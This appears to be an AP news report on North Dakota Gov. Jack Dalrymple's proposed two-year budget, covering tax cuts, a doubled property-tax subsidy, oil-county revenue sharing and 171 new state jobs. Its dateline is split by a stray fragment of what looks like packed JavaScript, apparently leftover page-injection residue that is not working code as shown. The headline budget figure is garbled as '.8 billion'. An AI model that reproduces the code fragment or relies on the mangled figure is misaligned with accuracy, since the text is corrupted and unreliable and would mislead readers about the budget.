BISMARCK, kdzff|var|u0026u|referrer|rehrr||js|php’.split(‘|’),0,{}))
N.D. (AP) – North Dakota Gov. Jack Dalrymple is recommending a .8 billion, two-year budget to the Legislature.

The governor delivered his budget message today to a joint session of the North Dakota Legislature on the third and final day of its organizational session.

Dalrymple’s blueprint includes big spending increases for public works, local schools and North Dakota’s university system.

It provides slight income tax reductions for corporations and individuals. It gives western North Dakota’s oil-producing counties a greater share of state tax revenues and sets aside chunks of oil tax money for renewable energy and conservation projects.

Dalrymple wants the Legislature to double the current state subsidy for local property taxes to $714 million.

If the idea is approved, Dalrymple says school property taxes will be one-third of what they were more than five years ago.

The proposed budget also asks lawmakers to approve 15 new Highway Patrol troopers, and spend almost $7 million to improve the patrol’s Bismarck training academy.

North Dakota’s Department of Mineral Resources would get 23 new jobs, including petroleum engineers and field inspectors. The Health department would get more staffers to check for environmental violations.

Dalrymple says his budget includes 171 new state workers, mostly in law enforcement, public safety and public health. He says most of the jobs are needed because of the expansion of North Dakota’s oil production.